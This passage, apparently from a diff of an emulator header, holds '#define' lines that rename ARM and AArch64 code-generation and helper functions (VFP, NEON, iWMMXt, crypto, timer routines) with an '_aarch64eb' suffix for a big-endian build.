gen_helper_uadd8 gen_helper_uadd8_aarch64eb +#define gen_helper_uaddsubx gen_helper_uaddsubx_aarch64eb +#define gen_helper_udiv gen_helper_udiv_aarch64eb +#define gen_helper_uhadd16 gen_helper_uhadd16_aarch64eb +#define gen_helper_uhadd8 gen_helper_uhadd8_aarch64eb +#define gen_helper_uhaddsubx gen_helper_uhaddsubx_aarch64eb +#define gen_helper_uhsub16 gen_helper_uhsub16_aarch64eb +#define gen_helper_uhsub8 gen_helper_uhsub8_aarch64eb +#define gen_helper_uhsubaddx gen_helper_uhsubaddx_aarch64eb +#define gen_helper_uqadd16 gen_helper_uqadd16_aarch64eb +#define gen_helper_uqadd8 gen_helper_uqadd8_aarch64eb +#define gen_helper_uqaddsubx gen_helper_uqaddsubx_aarch64eb +#define gen_helper_uqsub16 gen_helper_uqsub16_aarch64eb +#define gen_helper_uqsub8 gen_helper_uqsub8_aarch64eb +#define gen_helper_uqsubaddx gen_helper_uqsubaddx_aarch64eb +#define gen_helper_usad8 gen_helper_usad8_aarch64eb +#define gen_helper_usat gen_helper_usat_aarch64eb +#define gen_helper_usat16 gen_helper_usat16_aarch64eb +#define gen_helper_usub16 gen_helper_usub16_aarch64eb +#define gen_helper_usub8 gen_helper_usub8_aarch64eb +#define gen_helper_usubaddx gen_helper_usubaddx_aarch64eb +#define gen_helper_uxtb16 gen_helper_uxtb16_aarch64eb +#define gen_helper_v7m_mrs gen_helper_v7m_mrs_aarch64eb +#define gen_helper_v7m_msr gen_helper_v7m_msr_aarch64eb +#define gen_helper_vfp_absd gen_helper_vfp_absd_aarch64eb +#define gen_helper_vfp_abss gen_helper_vfp_abss_aarch64eb +#define gen_helper_vfp_addd gen_helper_vfp_addd_aarch64eb +#define gen_helper_vfp_adds gen_helper_vfp_adds_aarch64eb +#define gen_helper_vfp_cmpd gen_helper_vfp_cmpd_aarch64eb +#define gen_helper_vfp_cmped gen_helper_vfp_cmped_aarch64eb +#define gen_helper_vfp_cmpes gen_helper_vfp_cmpes_aarch64eb +#define gen_helper_vfp_cmps gen_helper_vfp_cmps_aarch64eb +#define gen_helper_vfp_divd gen_helper_vfp_divd_aarch64eb +#define gen_helper_vfp_divs gen_helper_vfp_divs_aarch64eb +#define gen_helper_vfp_fcvtds gen_helper_vfp_fcvtds_aarch64eb +#define gen_helper_vfp_fcvt_f16_to_f32 gen_helper_vfp_fcvt_f16_to_f32_aarch64eb +#define gen_helper_vfp_fcvt_f16_to_f64 gen_helper_vfp_fcvt_f16_to_f64_aarch64eb +#define gen_helper_vfp_fcvt_f32_to_f16 gen_helper_vfp_fcvt_f32_to_f16_aarch64eb +#define gen_helper_vfp_fcvt_f64_to_f16 gen_helper_vfp_fcvt_f64_to_f16_aarch64eb +#define gen_helper_vfp_fcvtsd gen_helper_vfp_fcvtsd_aarch64eb +#define gen_helper_vfp_get_fpscr gen_helper_vfp_get_fpscr_aarch64eb +#define gen_helper_vfp_maxnumd gen_helper_vfp_maxnumd_aarch64eb +#define gen_helper_vfp_maxnums gen_helper_vfp_maxnums_aarch64eb +#define gen_helper_vfp_maxs gen_helper_vfp_maxs_aarch64eb +#define gen_helper_vfp_minnumd gen_helper_vfp_minnumd_aarch64eb +#define gen_helper_vfp_minnums gen_helper_vfp_minnums_aarch64eb +#define gen_helper_vfp_mins gen_helper_vfp_mins_aarch64eb +#define gen_helper_vfp_muladdd gen_helper_vfp_muladdd_aarch64eb +#define gen_helper_vfp_muladds gen_helper_vfp_muladds_aarch64eb +#define gen_helper_vfp_muld gen_helper_vfp_muld_aarch64eb +#define gen_helper_vfp_muls gen_helper_vfp_muls_aarch64eb +#define gen_helper_vfp_negd gen_helper_vfp_negd_aarch64eb +#define gen_helper_vfp_negs gen_helper_vfp_negs_aarch64eb +#define gen_helper_vfp_set_fpscr gen_helper_vfp_set_fpscr_aarch64eb +#define gen_helper_vfp_shtod gen_helper_vfp_shtod_aarch64eb +#define gen_helper_vfp_shtos gen_helper_vfp_shtos_aarch64eb +#define gen_helper_vfp_sitod gen_helper_vfp_sitod_aarch64eb +#define gen_helper_vfp_sitos gen_helper_vfp_sitos_aarch64eb +#define gen_helper_vfp_sltod gen_helper_vfp_sltod_aarch64eb +#define gen_helper_vfp_sltos gen_helper_vfp_sltos_aarch64eb +#define gen_helper_vfp_sqrtd gen_helper_vfp_sqrtd_aarch64eb +#define gen_helper_vfp_sqrts gen_helper_vfp_sqrts_aarch64eb +#define gen_helper_vfp_subd gen_helper_vfp_subd_aarch64eb +#define gen_helper_vfp_subs gen_helper_vfp_subs_aarch64eb +#define gen_helper_vfp_toshd_round_to_zero gen_helper_vfp_toshd_round_to_zero_aarch64eb +#define gen_helper_vfp_toshs_round_to_zero gen_helper_vfp_toshs_round_to_zero_aarch64eb +#define gen_helper_vfp_tosid gen_helper_vfp_tosid_aarch64eb +#define gen_helper_vfp_tosis gen_helper_vfp_tosis_aarch64eb +#define gen_helper_vfp_tosizd gen_helper_vfp_tosizd_aarch64eb +#define gen_helper_vfp_tosizs gen_helper_vfp_tosizs_aarch64eb +#define gen_helper_vfp_tosld gen_helper_vfp_tosld_aarch64eb +#define gen_helper_vfp_tosld_round_to_zero gen_helper_vfp_tosld_round_to_zero_aarch64eb +#define gen_helper_vfp_tosls gen_helper_vfp_tosls_aarch64eb +#define gen_helper_vfp_tosls_round_to_zero gen_helper_vfp_tosls_round_to_zero_aarch64eb +#define gen_helper_vfp_touhd_round_to_zero gen_helper_vfp_touhd_round_to_zero_aarch64eb +#define gen_helper_vfp_touhs_round_to_zero gen_helper_vfp_touhs_round_to_zero_aarch64eb +#define gen_helper_vfp_touid gen_helper_vfp_touid_aarch64eb +#define gen_helper_vfp_touis gen_helper_vfp_touis_aarch64eb +#define gen_helper_vfp_touizd gen_helper_vfp_touizd_aarch64eb +#define gen_helper_vfp_touizs gen_helper_vfp_touizs_aarch64eb +#define gen_helper_vfp_tould gen_helper_vfp_tould_aarch64eb +#define gen_helper_vfp_tould_round_to_zero gen_helper_vfp_tould_round_to_zero_aarch64eb +#define gen_helper_vfp_touls gen_helper_vfp_touls_aarch64eb +#define gen_helper_vfp_touls_round_to_zero gen_helper_vfp_touls_round_to_zero_aarch64eb +#define gen_helper_vfp_uhtod gen_helper_vfp_uhtod_aarch64eb +#define gen_helper_vfp_uhtos gen_helper_vfp_uhtos_aarch64eb +#define gen_helper_vfp_uitod gen_helper_vfp_uitod_aarch64eb +#define gen_helper_vfp_uitos gen_helper_vfp_uitos_aarch64eb +#define gen_helper_vfp_ultod gen_helper_vfp_ultod_aarch64eb +#define gen_helper_vfp_ultos gen_helper_vfp_ultos_aarch64eb +#define gen_helper_wfe gen_helper_wfe_aarch64eb +#define gen_helper_wfi gen_helper_wfi_aarch64eb +#define gen_hvc gen_hvc_aarch64eb +#define gen_intermediate_code_internal gen_intermediate_code_internal_aarch64eb +#define gen_intermediate_code_internal_a64 gen_intermediate_code_internal_a64_aarch64eb +#define gen_iwmmxt_address gen_iwmmxt_address_aarch64eb +#define gen_iwmmxt_shift gen_iwmmxt_shift_aarch64eb +#define gen_jmp gen_jmp_aarch64eb +#define gen_load_and_replicate gen_load_and_replicate_aarch64eb +#define gen_load_exclusive gen_load_exclusive_aarch64eb +#define gen_logic_CC gen_logic_CC_aarch64eb +#define gen_logicq_cc gen_logicq_cc_aarch64eb +#define gen_lookup_tb gen_lookup_tb_aarch64eb +#define gen_mov_F0_vreg gen_mov_F0_vreg_aarch64eb +#define gen_mov_F1_vreg gen_mov_F1_vreg_aarch64eb +#define gen_mov_vreg_F0 gen_mov_vreg_F0_aarch64eb +#define gen_muls_i64_i32 gen_muls_i64_i32_aarch64eb +#define gen_mulu_i64_i32 gen_mulu_i64_i32_aarch64eb +#define gen_mulxy gen_mulxy_aarch64eb +#define gen_neon_add gen_neon_add_aarch64eb +#define gen_neon_addl gen_neon_addl_aarch64eb +#define gen_neon_addl_saturate gen_neon_addl_saturate_aarch64eb +#define gen_neon_bsl gen_neon_bsl_aarch64eb +#define gen_neon_dup_high16 gen_neon_dup_high16_aarch64eb +#define gen_neon_dup_low16 gen_neon_dup_low16_aarch64eb +#define gen_neon_dup_u8 gen_neon_dup_u8_aarch64eb +#define gen_neon_mull gen_neon_mull_aarch64eb +#define gen_neon_narrow gen_neon_narrow_aarch64eb +#define gen_neon_narrow_op gen_neon_narrow_op_aarch64eb +#define gen_neon_narrow_sats gen_neon_narrow_sats_aarch64eb +#define gen_neon_narrow_satu gen_neon_narrow_satu_aarch64eb +#define gen_neon_negl gen_neon_negl_aarch64eb +#define gen_neon_rsb gen_neon_rsb_aarch64eb +#define gen_neon_shift_narrow gen_neon_shift_narrow_aarch64eb +#define gen_neon_subl gen_neon_subl_aarch64eb +#define gen_neon_trn_u16 gen_neon_trn_u16_aarch64eb +#define gen_neon_trn_u8 gen_neon_trn_u8_aarch64eb +#define gen_neon_unarrow_sats gen_neon_unarrow_sats_aarch64eb +#define gen_neon_unzip gen_neon_unzip_aarch64eb +#define gen_neon_widen gen_neon_widen_aarch64eb +#define gen_neon_zip gen_neon_zip_aarch64eb +#define gen_new_label gen_new_label_aarch64eb +#define gen_nop_hint gen_nop_hint_aarch64eb +#define gen_op_iwmmxt_addl_M0_wRn gen_op_iwmmxt_addl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addnb_M0_wRn gen_op_iwmmxt_addnb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addnl_M0_wRn gen_op_iwmmxt_addnl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addnw_M0_wRn gen_op_iwmmxt_addnw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addsb_M0_wRn gen_op_iwmmxt_addsb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addsl_M0_wRn gen_op_iwmmxt_addsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addsw_M0_wRn gen_op_iwmmxt_addsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addub_M0_wRn gen_op_iwmmxt_addub_M0_wRn_aarch64eb +#define gen_op_iwmmxt_addul_M0_wRn gen_op_iwmmxt_addul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_adduw_M0_wRn gen_op_iwmmxt_adduw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_andq_M0_wRn gen_op_iwmmxt_andq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_avgb0_M0_wRn gen_op_iwmmxt_avgb0_M0_wRn_aarch64eb +#define gen_op_iwmmxt_avgb1_M0_wRn gen_op_iwmmxt_avgb1_M0_wRn_aarch64eb +#define gen_op_iwmmxt_avgw0_M0_wRn gen_op_iwmmxt_avgw0_M0_wRn_aarch64eb +#define gen_op_iwmmxt_avgw1_M0_wRn gen_op_iwmmxt_avgw1_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpeqb_M0_wRn gen_op_iwmmxt_cmpeqb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpeql_M0_wRn gen_op_iwmmxt_cmpeql_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpeqw_M0_wRn gen_op_iwmmxt_cmpeqw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtsb_M0_wRn gen_op_iwmmxt_cmpgtsb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtsl_M0_wRn gen_op_iwmmxt_cmpgtsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtsw_M0_wRn gen_op_iwmmxt_cmpgtsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtub_M0_wRn gen_op_iwmmxt_cmpgtub_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtul_M0_wRn gen_op_iwmmxt_cmpgtul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_cmpgtuw_M0_wRn gen_op_iwmmxt_cmpgtuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_macsw_M0_wRn gen_op_iwmmxt_macsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_macuw_M0_wRn gen_op_iwmmxt_macuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maddsq_M0_wRn gen_op_iwmmxt_maddsq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_madduq_M0_wRn gen_op_iwmmxt_madduq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxsb_M0_wRn gen_op_iwmmxt_maxsb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxsl_M0_wRn gen_op_iwmmxt_maxsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxsw_M0_wRn gen_op_iwmmxt_maxsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxub_M0_wRn gen_op_iwmmxt_maxub_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxul_M0_wRn gen_op_iwmmxt_maxul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_maxuw_M0_wRn gen_op_iwmmxt_maxuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minsb_M0_wRn gen_op_iwmmxt_minsb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minsl_M0_wRn gen_op_iwmmxt_minsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minsw_M0_wRn gen_op_iwmmxt_minsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minub_M0_wRn gen_op_iwmmxt_minub_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minul_M0_wRn gen_op_iwmmxt_minul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_minuw_M0_wRn gen_op_iwmmxt_minuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_movq_M0_wRn gen_op_iwmmxt_movq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_movq_wRn_M0 gen_op_iwmmxt_movq_wRn_M0_aarch64eb +#define gen_op_iwmmxt_mulshw_M0_wRn gen_op_iwmmxt_mulshw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_mulslw_M0_wRn gen_op_iwmmxt_mulslw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_muluhw_M0_wRn gen_op_iwmmxt_muluhw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_mululw_M0_wRn gen_op_iwmmxt_mululw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_orq_M0_wRn gen_op_iwmmxt_orq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packsl_M0_wRn gen_op_iwmmxt_packsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packsq_M0_wRn gen_op_iwmmxt_packsq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packsw_M0_wRn gen_op_iwmmxt_packsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packul_M0_wRn gen_op_iwmmxt_packul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packuq_M0_wRn gen_op_iwmmxt_packuq_M0_wRn_aarch64eb +#define gen_op_iwmmxt_packuw_M0_wRn gen_op_iwmmxt_packuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_sadb_M0_wRn gen_op_iwmmxt_sadb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_sadw_M0_wRn gen_op_iwmmxt_sadw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_set_cup gen_op_iwmmxt_set_cup_aarch64eb +#define gen_op_iwmmxt_set_mup gen_op_iwmmxt_set_mup_aarch64eb +#define gen_op_iwmmxt_setpsr_nz gen_op_iwmmxt_setpsr_nz_aarch64eb +#define gen_op_iwmmxt_subnb_M0_wRn gen_op_iwmmxt_subnb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subnl_M0_wRn gen_op_iwmmxt_subnl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subnw_M0_wRn gen_op_iwmmxt_subnw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subsb_M0_wRn gen_op_iwmmxt_subsb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subsl_M0_wRn gen_op_iwmmxt_subsl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subsw_M0_wRn gen_op_iwmmxt_subsw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subub_M0_wRn gen_op_iwmmxt_subub_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subul_M0_wRn gen_op_iwmmxt_subul_M0_wRn_aarch64eb +#define gen_op_iwmmxt_subuw_M0_wRn gen_op_iwmmxt_subuw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpackhb_M0_wRn gen_op_iwmmxt_unpackhb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpackhl_M0_wRn gen_op_iwmmxt_unpackhl_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpackhsb_M0 gen_op_iwmmxt_unpackhsb_M0_aarch64eb +#define gen_op_iwmmxt_unpackhsl_M0 gen_op_iwmmxt_unpackhsl_M0_aarch64eb +#define gen_op_iwmmxt_unpackhsw_M0 gen_op_iwmmxt_unpackhsw_M0_aarch64eb +#define gen_op_iwmmxt_unpackhub_M0 gen_op_iwmmxt_unpackhub_M0_aarch64eb +#define gen_op_iwmmxt_unpackhul_M0 gen_op_iwmmxt_unpackhul_M0_aarch64eb +#define gen_op_iwmmxt_unpackhuw_M0 gen_op_iwmmxt_unpackhuw_M0_aarch64eb +#define gen_op_iwmmxt_unpackhw_M0_wRn gen_op_iwmmxt_unpackhw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpacklb_M0_wRn gen_op_iwmmxt_unpacklb_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpackll_M0_wRn gen_op_iwmmxt_unpackll_M0_wRn_aarch64eb +#define gen_op_iwmmxt_unpacklsb_M0 gen_op_iwmmxt_unpacklsb_M0_aarch64eb +#define gen_op_iwmmxt_unpacklsl_M0 gen_op_iwmmxt_unpacklsl_M0_aarch64eb +#define gen_op_iwmmxt_unpacklsw_M0 gen_op_iwmmxt_unpacklsw_M0_aarch64eb +#define gen_op_iwmmxt_unpacklub_M0 gen_op_iwmmxt_unpacklub_M0_aarch64eb +#define gen_op_iwmmxt_unpacklul_M0 gen_op_iwmmxt_unpacklul_M0_aarch64eb +#define gen_op_iwmmxt_unpackluw_M0 gen_op_iwmmxt_unpackluw_M0_aarch64eb +#define gen_op_iwmmxt_unpacklw_M0_wRn gen_op_iwmmxt_unpacklw_M0_wRn_aarch64eb +#define gen_op_iwmmxt_xorq_M0_wRn gen_op_iwmmxt_xorq_M0_wRn_aarch64eb +#define gen_rev16 gen_rev16_aarch64eb +#define gen_revsh gen_revsh_aarch64eb +#define gen_rfe gen_rfe_aarch64eb +#define gen_sar gen_sar_aarch64eb +#define gen_sbc_CC gen_sbc_CC_aarch64eb +#define gen_sbfx gen_sbfx_aarch64eb +#define gen_set_CF_bit31 gen_set_CF_bit31_aarch64eb +#define gen_set_condexec gen_set_condexec_aarch64eb +#define gen_set_cpsr gen_set_cpsr_aarch64eb +#define gen_set_label gen_set_label_aarch64eb +#define gen_set_pc_im gen_set_pc_im_aarch64eb +#define gen_set_psr gen_set_psr_aarch64eb +#define gen_set_psr_im gen_set_psr_im_aarch64eb +#define gen_shl gen_shl_aarch64eb +#define gen_shr gen_shr_aarch64eb +#define gen_smc gen_smc_aarch64eb +#define gen_smul_dual gen_smul_dual_aarch64eb +#define gen_srs gen_srs_aarch64eb +#define gen_ss_advance gen_ss_advance_aarch64eb +#define gen_step_complete_exception gen_step_complete_exception_aarch64eb +#define gen_store_exclusive gen_store_exclusive_aarch64eb +#define gen_storeq_reg gen_storeq_reg_aarch64eb +#define gen_sub_carry gen_sub_carry_aarch64eb +#define gen_sub_CC gen_sub_CC_aarch64eb +#define gen_subq_msw gen_subq_msw_aarch64eb +#define gen_swap_half gen_swap_half_aarch64eb +#define gen_thumb2_data_op gen_thumb2_data_op_aarch64eb +#define gen_thumb2_parallel_addsub gen_thumb2_parallel_addsub_aarch64eb +#define gen_ubfx gen_ubfx_aarch64eb +#define gen_vfp_abs gen_vfp_abs_aarch64eb +#define gen_vfp_add gen_vfp_add_aarch64eb +#define gen_vfp_cmp gen_vfp_cmp_aarch64eb +#define gen_vfp_cmpe gen_vfp_cmpe_aarch64eb +#define gen_vfp_div gen_vfp_div_aarch64eb +#define gen_vfp_F1_ld0 gen_vfp_F1_ld0_aarch64eb +#define gen_vfp_F1_mul gen_vfp_F1_mul_aarch64eb +#define gen_vfp_F1_neg gen_vfp_F1_neg_aarch64eb +#define gen_vfp_ld gen_vfp_ld_aarch64eb +#define gen_vfp_mrs gen_vfp_mrs_aarch64eb +#define gen_vfp_msr gen_vfp_msr_aarch64eb +#define gen_vfp_mul gen_vfp_mul_aarch64eb +#define gen_vfp_neg gen_vfp_neg_aarch64eb +#define gen_vfp_shto gen_vfp_shto_aarch64eb +#define gen_vfp_sito gen_vfp_sito_aarch64eb +#define gen_vfp_slto gen_vfp_slto_aarch64eb +#define gen_vfp_sqrt gen_vfp_sqrt_aarch64eb +#define gen_vfp_st gen_vfp_st_aarch64eb +#define gen_vfp_sub gen_vfp_sub_aarch64eb +#define gen_vfp_tosh gen_vfp_tosh_aarch64eb +#define gen_vfp_tosi gen_vfp_tosi_aarch64eb +#define gen_vfp_tosiz gen_vfp_tosiz_aarch64eb +#define gen_vfp_tosl gen_vfp_tosl_aarch64eb +#define gen_vfp_touh gen_vfp_touh_aarch64eb +#define gen_vfp_toui gen_vfp_toui_aarch64eb +#define gen_vfp_touiz gen_vfp_touiz_aarch64eb +#define gen_vfp_toul gen_vfp_toul_aarch64eb +#define gen_vfp_uhto gen_vfp_uhto_aarch64eb +#define gen_vfp_uito gen_vfp_uito_aarch64eb +#define gen_vfp_ulto gen_vfp_ulto_aarch64eb +#define get_arm_cp_reginfo get_arm_cp_reginfo_aarch64eb +#define get_clock get_clock_aarch64eb +#define get_clock_realtime get_clock_realtime_aarch64eb +#define get_constraint_priority get_constraint_priority_aarch64eb +#define get_float_exception_flags get_float_exception_flags_aarch64eb +#define get_float_rounding_mode get_float_rounding_mode_aarch64eb +#define get_fpstatus_ptr get_fpstatus_ptr_aarch64eb +#define get_level1_table_address get_level1_table_address_aarch64eb +#define get_mem_index get_mem_index_aarch64eb +#define get_next_param_value get_next_param_value_aarch64eb +#define get_opt_name get_opt_name_aarch64eb +#define get_opt_value get_opt_value_aarch64eb +#define get_page_addr_code get_page_addr_code_aarch64eb +#define get_param_value get_param_value_aarch64eb +#define get_phys_addr get_phys_addr_aarch64eb +#define get_phys_addr_lpae get_phys_addr_lpae_aarch64eb +#define get_phys_addr_mpu get_phys_addr_mpu_aarch64eb +#define get_phys_addr_v5 get_phys_addr_v5_aarch64eb +#define get_phys_addr_v6 get_phys_addr_v6_aarch64eb +#define get_system_memory get_system_memory_aarch64eb +#define get_ticks_per_sec get_ticks_per_sec_aarch64eb +#define g_list_insert_sorted_merged g_list_insert_sorted_merged_aarch64eb +#define _GLOBAL_OFFSET_TABLE_ _GLOBAL_OFFSET_TABLE__aarch64eb +#define gt_cntfrq_access gt_cntfrq_access_aarch64eb +#define gt_cnt_read gt_cnt_read_aarch64eb +#define gt_cnt_reset gt_cnt_reset_aarch64eb +#define gt_counter_access gt_counter_access_aarch64eb +#define gt_ctl_write gt_ctl_write_aarch64eb +#define gt_cval_write gt_cval_write_aarch64eb +#define gt_get_countervalue gt_get_countervalue_aarch64eb +#define gt_pct_access gt_pct_access_aarch64eb +#define gt_ptimer_access gt_ptimer_access_aarch64eb +#define gt_recalc_timer gt_recalc_timer_aarch64eb +#define gt_timer_access gt_timer_access_aarch64eb +#define gt_tval_read gt_tval_read_aarch64eb +#define gt_tval_write gt_tval_write_aarch64eb +#define gt_vct_access gt_vct_access_aarch64eb +#define gt_vtimer_access gt_vtimer_access_aarch64eb +#define guest_phys_blocks_free guest_phys_blocks_free_aarch64eb +#define guest_phys_blocks_init guest_phys_blocks_init_aarch64eb +#define handle_vcvt handle_vcvt_aarch64eb +#define handle_vminmaxnm handle_vminmaxnm_aarch64eb +#define handle_vrint handle_vrint_aarch64eb +#define handle_vsel handle_vsel_aarch64eb +#define has_help_option has_help_option_aarch64eb +#define have_bmi1 have_bmi1_aarch64eb +#define have_bmi2 have_bmi2_aarch64eb +#define hcr_write hcr_write_aarch64eb +#define helper_access_check_cp_reg helper_access_check_cp_reg_aarch64eb +#define helper_add_saturate helper_add_saturate_aarch64eb +#define helper_add_setq helper_add_setq_aarch64eb +#define helper_add_usaturate helper_add_usaturate_aarch64eb +#define helper_be_ldl_cmmu helper_be_ldl_cmmu_aarch64eb +#define helper_be_ldq_cmmu helper_be_ldq_cmmu_aarch64eb +#define helper_be_ldq_mmu helper_be_ldq_mmu_aarch64eb +#define helper_be_ldsl_mmu helper_be_ldsl_mmu_aarch64eb +#define helper_be_ldsw_mmu helper_be_ldsw_mmu_aarch64eb +#define helper_be_ldul_mmu helper_be_ldul_mmu_aarch64eb +#define helper_be_lduw_mmu helper_be_lduw_mmu_aarch64eb +#define helper_be_ldw_cmmu helper_be_ldw_cmmu_aarch64eb +#define helper_be_stl_mmu helper_be_stl_mmu_aarch64eb +#define helper_be_stq_mmu helper_be_stq_mmu_aarch64eb +#define helper_be_stw_mmu helper_be_stw_mmu_aarch64eb +#define helper_clear_pstate_ss helper_clear_pstate_ss_aarch64eb +#define helper_clz_arm helper_clz_arm_aarch64eb +#define helper_cpsr_read helper_cpsr_read_aarch64eb +#define helper_cpsr_write helper_cpsr_write_aarch64eb +#define helper_crc32_arm helper_crc32_arm_aarch64eb +#define helper_crc32c helper_crc32c_aarch64eb +#define helper_crypto_aese helper_crypto_aese_aarch64eb +#define helper_crypto_aesmc helper_crypto_aesmc_aarch64eb +#define helper_crypto_sha1_3reg helper_crypto_sha1_3reg_aarch64eb +#define helper_crypto_sha1h helper_crypto_sha1h_aarch64eb +#define helper_crypto_sha1su1 helper_crypto_sha1su1_aarch64eb +#define helper_crypto_sha256h helper_crypto_sha256h_aarch64eb +#define helper_crypto_sha256h2 helper_crypto_sha256h2_aarch64eb +#define helper_crypto_sha256su0 helper_crypto_sha256su0_aarch64eb +#define helper_crypto_sha256su1 helper_crypto_sha256su1_aarch64eb +#define helper_dc_zva helper_dc_zva_aarch64eb +#define helper_double_saturate helper_double_saturate_aarch64eb +#define helper_exception_internal helper_exception_internal_aarch64eb +#define helper_exception_return helper_exception_return_aarch64eb +#define helper_exception_with_syndrome helper_exception_with_syndrome_aarch64eb +#define helper_get_cp_reg helper_get_cp_reg_aarch64eb +#define helper_get_cp_reg64 helper_get_cp_reg64_aarch64eb +#define helper_get_r13_banked helper_get_r13_banked_aarch64eb +#define helper_get_user_reg helper_get_user_reg_aarch64eb +#define helper_iwmmxt_addcb helper_iwmmxt_addcb_aarch64eb +#define helper_iwmmxt_addcl helper_iwmmxt_addcl_aarch64eb +#define helper_iwmmxt_addcw helper_iwmmxt_addcw_aarch64eb +#define helper_iwmmxt_addnb helper_iwmmxt_addnb_aarch64eb +#define helper_iwmmxt_addnl helper_iwmmxt_addnl_aarch64eb +#define helper_iwmmxt_addnw helper_iwmmxt_addnw_aarch64eb +#define helper_iwmmxt_addsb helper_iwmmxt_addsb_aarch64eb +#define helper_iwmmxt_addsl helper_iwmmxt_addsl_aarch64eb +#define helper_iwmmxt_addsw helper_iwmmxt_addsw_aarch64eb +#define helper_iwmmxt_addub helper_iwmmxt_addub_aarch64eb +#define helper_iwmmxt_addul helper_iwmmxt_addul_aarch64eb +#define helper_iwmmxt_adduw helper_iwmmxt_adduw_aarch64eb +#define helper_iwmmxt_align helper_iwmmxt_align_aarch64eb +#define helper_iwmmxt_avgb0 helper_iwmmxt_avgb0_aarch64eb +#define helper_iwmmxt_avgb1 helper_iwmmxt_avgb1_aarch64eb +#define helper_iwmmxt_avgw0 helper_iwmmxt_avgw0_aarch64eb +#define helper_iwmmxt_avgw1 helper_iwmmxt_avgw1_aarch64eb +#define helper_iwmmxt_bcstb helper_iwmmxt_bcstb_aarch64eb +#define helper_iwmmxt_bcstl helper_iwmmxt_bcstl_aarch64eb +#define helper_iwmmxt_bcstw helper_iwmmxt_bcstw_aarch64eb +#define helper_iwmmxt_cmpeqb helper_iwmmxt_cmpeqb_aarch64eb +#define helper_iwmmxt_cmpeql helper_iwmmxt_cmpeql_aarch64eb +#define helper_iwmmxt_cmpeqw helper_iwmmxt_cmpeqw_aarch64eb +#define helper_iwmmxt_cmpgtsb helper_iwmmxt_cmpgtsb_aarch64eb +#define helper_iwmmxt_cmpgtsl helper_iwmmxt_cmpgtsl_aarch64eb +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_aarch64eb +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_aarch64eb +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_aarch64eb +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_aarch64eb +#define helper_iwmmxt_insr helper_iwmmxt_insr_aarch64eb +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_aarch64eb +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_aarch64eb +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_aarch64eb +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_aarch64eb +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_aarch64eb +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_aarch64eb +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_aarch64eb +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_aarch64eb +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_aarch64eb +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_aarch64eb +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_aarch64eb +#define 